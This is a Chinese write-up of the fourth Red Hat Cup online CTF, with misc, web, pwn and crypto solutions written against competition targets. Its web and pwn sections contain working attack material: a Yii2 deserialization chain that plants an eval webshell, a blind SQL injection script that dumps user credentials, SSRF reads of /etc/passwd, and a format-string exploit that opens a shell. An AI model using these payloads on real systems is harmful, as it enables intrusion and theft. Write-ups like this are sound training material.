第四届红帽杯网络安全大赛-线上赛Writeup

共 10644字,需浏览 22分钟

 ·

2021-05-13 22:23

作者:末初  编辑:白帽子社区运营团队




    "白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)

"    





MISC

签到

附件名称叫 EBCDIC.zip 
010Editor直接选择 EBCDIC 编码
flag{we1c0me_t0_redhat2021}

colorful code

这题可惜了,当我想出来怎么做的时候,已经没有时间来写脚本了... 

首先题目名称提示:colorful code ,这点当时第一时间想到了前段时间安恒赛misc有一题 colorful porgramming

colorful porgramming 详情见:https://www.bertnase.de/npiet/
附件中 data1 是文本文件, data2 是数据文件,用hexdump查看如下

data1 中是 0-19 的数字,用 空格分开 。也看不出什么别的(当时在这浪费了比较多的时间)。

data1 暂时也看不出来和图片有什么关系,所以图片的线索在 data2

咋一看也和图片没什关系,但是当我们将每一个字节的十六进制转换成 RGB 十进制,三个一组
from binascii import * with open('data2','rb') as f:     f = hexlify(f.read()).decode()     n = 0     color_list = []     for i in range(0,len(f),2):         i = f[i:i+2]         color_list.append(int(i,16))         n += 1         if n == 3:             print(tuple(color_list))             color_list = []         n = 0        else:             continue
运行结果
PS C:\Users\Administrator\Downloads\colorful_code-1> python .\code.py(0, 0, 0)(0, 0, 192)(0, 255, 255)(0, 255, 0)(255, 192, 255)(255, 192, 192)(192, 192, 255)(192, 192, 0)(255, 0, 255)(255, 0, 0)(192, 0, 0)(192, 0, 192)(255, 255, 255)(255, 255, 0)(255, 255, 192)(0, 192, 0)(0, 192, 192)(192, 255, 255)(192, 255, 192)(0, 0, 255)(20, 20, 20)(21, 21, 21)(22, 22, 22)(23, 23, 23)(24, 24, 24)(25, 25, 25).......(250, 250, 250)(251, 251, 251)(252, 252, 252)(253, 253, 253)(254, 254, 254)(255, 255, 255)
很明显,前 20 组数据和后面的数据不太一样。然后联想到前面 data1 中只有 0-19 的数字,猜测 data1 的 0-19 应该是对应 data2 种这二十组像素数据的下标。 
OK,那么思路到这里就很清楚了。我们将这二十组RGB像素,按照 data1 中的顺序,将这些像素 putpixel() 即可。 
思考到这里的时候还有最后一个问题,那就是生成的图片的宽高。要知道宽高,我们首先要知道图片的 总像素,总像素,直接计算下 data1 中有多少个 0-19 数字。 
Python简单处理
def str2list():  with open('data1.txt') as f:    f = f.read()    index_list = f.split(' ')    return index_list    print(str2list())print(len(str2list()))

这里需要注意,因为 data1 最后有两个空格,所以会切多一个元素出来,去掉即可。所以这里总像素 是:7067 7067 看起来不像是一个比较常见的图片总像素数,不太好计算,直接在线分解质因数得到宽高 分解质因数:http://tools.jb51.net/jisuanqi/factor_calc

就先推测宽为: 37 ,高为: 191 OK,接下来直接Python简单处理下即可得到 flag.png

# -*- coding:utf-8 -*-# Author: mochu7import PILfrom PIL import Imagefrom binascii import *
def str2list(): with open('data1.txt') as f: f = f.read() index_list = f.split(' ') return index_list
def num2color(): with open('data2','rb') as f: f = hexlify(f.read()).decode() n = 0 idx = 0 color_dic = {} color_list = [] for i in range(0,len(f),2): i = f[i:i+2] color_list.append(int(i,16)) n += 1 if n == 3: color_dic[idx] = tuple(color_list) color_list = [] n = 0 idx += 1 elif idx == 20: break return color_dic
def genimg(): width, height = 37, 191 img = Image.new("RGB",(width,height)) imgpixels = str2list() colorlist = num2color() pixlist = [] for pix in imgpixels: pixlist.append(colorlist[int(pix)]) idx = 0 for w in range(width): for h in range(height): img.putpixel([w,h], pixlist[idx]) idx += 1 img.save('flag.png')

if __name__ == '__main__': # print(len(str2list())) # print(num2color())    genimg()

npiet online :https://www.bertnase.de/npiet/npiet-execute.php


得到flag

flag{88842f20-fb8c-45c9-ae8f-36135b6a0f11}

WEB
find_it


目录扫描发现 robots.txt

存在 1ndexx.php ,直接访问并没有什么信息。猜测存在 vim 备份文件 访问 view-source:http://eci2zefc95c45rhg0wuefre.cloudeci1.ichunqiu.com/.1ndexx.php.swp 拿到源码
<?php $link = mysql_connect('localhost', 'root'); ?><html><head>  <title>Hello worldd!</title>  <style>  body {    background-color: white;    text-align: center;    padding: 50px;    font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;  }
#logo { margin-bottom: 40px; }</style></head><body> <img id="logo" src="logo.png" /> <h1><?php echo "Hello My freind!"; ?></h1> <?php if($link) { ?> <h2>I Can't view my php files?!</h2> <?php } else { ?> <h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2> <?php } ?></body></html><?php
#Really easy...
$file=fopen("flag.php","r") or die("Unable 2 open!");
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));

$hack=fopen("hack.php","w") or die("Unable 2 open");
$a=$_GET['code'];
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){ die("you die");}if(strlen($a)>33){ die("nonono.");}fwrite($hack,$a);fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
fclose($file);fclose($hack);?>
正则没有忽略大小写,本来是怎么想办法怎么绕过disable_function读flag.php的,但是写入查看phpinfo()的时候发现
/index.php?code=<?=phpinfo();?>
访问hack.php
发现flag被记录进了phpinfo的全局变量里,送分了
这题应该非预期了

framework

Yii框架,目录扫描发现www.zip源码中简单看了下,知道这是Yii2框架,搜索引擎找一下如何查看Yii2的版本
本地调试,在web/index.php中添加一行echo Yii::getVersion();

得到当前版本信息:2.0.32

搜索引擎找这个版本或者更高版本的漏洞

最后发现是一个CVE-2020-15148的反序列化RCE

网上相关利用文章很多,我参考的是以下两篇:

  • https://anquan.baidu.com/article/1260

  • https://0xkami.top/2020/10/26/0x08cve-2020-15148-Yii2反序列化漏洞复现/

/index.php?r=site/about&message=GET%20/r=site/about&message=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

得到一个不完整的phpinfo

之后测试的时候,发现system、eval之类的一些函数好像都没有效果,猜测可能设置了disable_functions不过最后发现assert能用、file_put_contents()也能用<?phpnamespace yii\rest{    class CreateAction{        public $checkAccess;        public $id;

public function __construct(){ $this->checkAccess = 'assert'; $this->id = 'file_put_contents(\'mochu7.php\',\'<?php eval($_POST[7]);?>\');'; } }}

namespace Faker{ use yii\rest\CreateAction;

class Generator{ protected $formatters;

public function __construct(){ $this->formatters['close'] = [new CreateAction(), 'run']; } }}

namespace yii\db{ use Faker\Generator;

class BatchQueryResult{ private $_dataReader;

public function __construct(){ $this->_dataReader = new Generator; } }}namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult));}?>



上蚁剑,用插件。
phpinfo的信息显示这里是Apache/2.4.6 (CentOS) PHP/5.6.40
选择Apache_mod_cgi

WebsiteManger

查看源码

图片的id貌似是跟数据库存在交互的

长度177的都是被过滤的关键字

布尔盲注

/image.php?id=if(1=1,1,5) True /image.php?id=if(1=2,1,5) False

条件为真时?id=1,回显第一张图片,条件为假时?id=5,没有id=5的图片,什么都没有。即可作为布尔盲注判断条件

编写简单的Python盲注脚本

import stringfrom requests import *

allstr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'

myurl = 'http://eci-2ze8j3xqhbs4y2thbqra.cloudeci1.ichunqiu.com/image.php'

info = ''for i in range(1,50): for s in allstr: payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s)) resp = get(url=myurl+payload) if len(resp.text) > 4000: info += s print(info)
payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))

payload = '?id=if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=\'ctf\'),{},1))={},1,5)'.format(i,ord(s))

payload = '?id=if(ascii(mid((select/**/group_concat(username,password)/**/from/**/ctf.users),{},1))={},1,5)'.format(i,ord(s))

注入查询到信息

Current_database: ctf
Tables_in_ctf: images,users
Columns_in_users: username,password

得到账户admin,密码441cc8327a306b48b7a32

登录admin

curl.php这里应该存在SSRF

尝试file://协议去读文件

file:///etc/passwd

直接读file:///flag

ezlight

下面到了膜大佬时刻
orz…orz…orz…orz…orz…orz…orz…
Y1ngyyds!!!
https://www.gem-love.com/websecurity/2763.html

PWN

parser

主要是逆向工作,理清楚合法输入后就是简单的不限次数的格式化字符串。

from pwn import *

context.log_level = Truecontext.arch = "amd64"

#p = process("./pwn")p = remote("47.105.94.48", 12435)

gadget_addr = [0x4f365, 0x4f3c2, 0x10a45c]

p.recvuntil("> ")payload = b"GET /test HTTP/1.0\nContent-Length:-1\n\n%15$p*%8$p*"p.sendline(payload)base_addr = int(p.recvuntil("*")[:-1], 16) - 0x14a8stack_addr = int(p.recvuntil("*")[:-1], 16) + (0x7fffffffddd8 - 0x7fffffffd830)log.info("base_addr: " + hex(base_addr))log.info("stack_addr: " + hex(stack_addr))

p.recvuntil("> ")payload = b"GET /test HTTP/1.0\nContent-Length:-1\n\n%22$saaaaa" + \ p64(base_addr + 0x201F90)p.sendline(payload)libc_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x110180log.info("libc_base: " + hex(libc_base))gadget_addr = libc_base + 0x10a45clog.info("gadget_addr: " + hex(gadget_addr))

#gdb.attach(p, "b* 0x55555555537d\nb* 0x55555555539c\nb* 0x555555555634")p.recvuntil("> ")payload = b"GET /test HTTP/1.0\nContent-Length:-1\n\n11" + \ fmtstr_payload(0x59, {stack_addr: gadget_addr}, 2, "short")p.sendline(payload)

p.recvuntil("> ")payload =b"getshell"
p.sendline(payload)
p.interactive()




CRYPTO

primegame


背包问题
import mathfrom decimal import *import random



getcontext().prec = int(100)

primes = [2]for i in range(3, 90): f = True for j in primes: if i * i < j: break if i % j == 0: f = False break if f: primes.append(i)

keys = []for i in range(len(primes)): keys.append(Decimal(int(primes[i])).ln())

arr = []for v in keys: arr.append(int(v * int(16) ** int(64)))

ct = 425985475047781336789963300910446852783032712598571885345660550546372063410589918



def encrypt(res): h = Decimal(int(0)) for i in range(len(keys)): h += res[i] * keys[i]

ct = int(h * int(16)**int(64)) return ct



def f(N): ln = len(arr) A = Matrix(ZZ, ln + 1, ln + 1) for i in range(ln): A[i, i] = 1 A[i, ln] = arr[i] // N A[ln, i] = 64

A[ln, ln] = ct // N

res = A.LLL()

for i in range(ln + 1): flag = True for j in range(ln): if -64 <= res[i][j] < 64: continue flag = False break if flag: vec = [int(v + 64) for v in res[i][:-1]] ret = encrypt(vec) if ret == ct: print(N, bytes(vec))



for i in range(2, 10000): print(i) f(i)


往期精彩文章




恶意样本学习——勒索病毒(一)
CVE-2020-16846 CVE-2020-25592 分析
利用句柄表实现反调试
虎符ctf  wp
ElasticSearch漏洞复现集合




技术支持:白帽子社区团队
— 扫码关注我们 





浏览 22
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报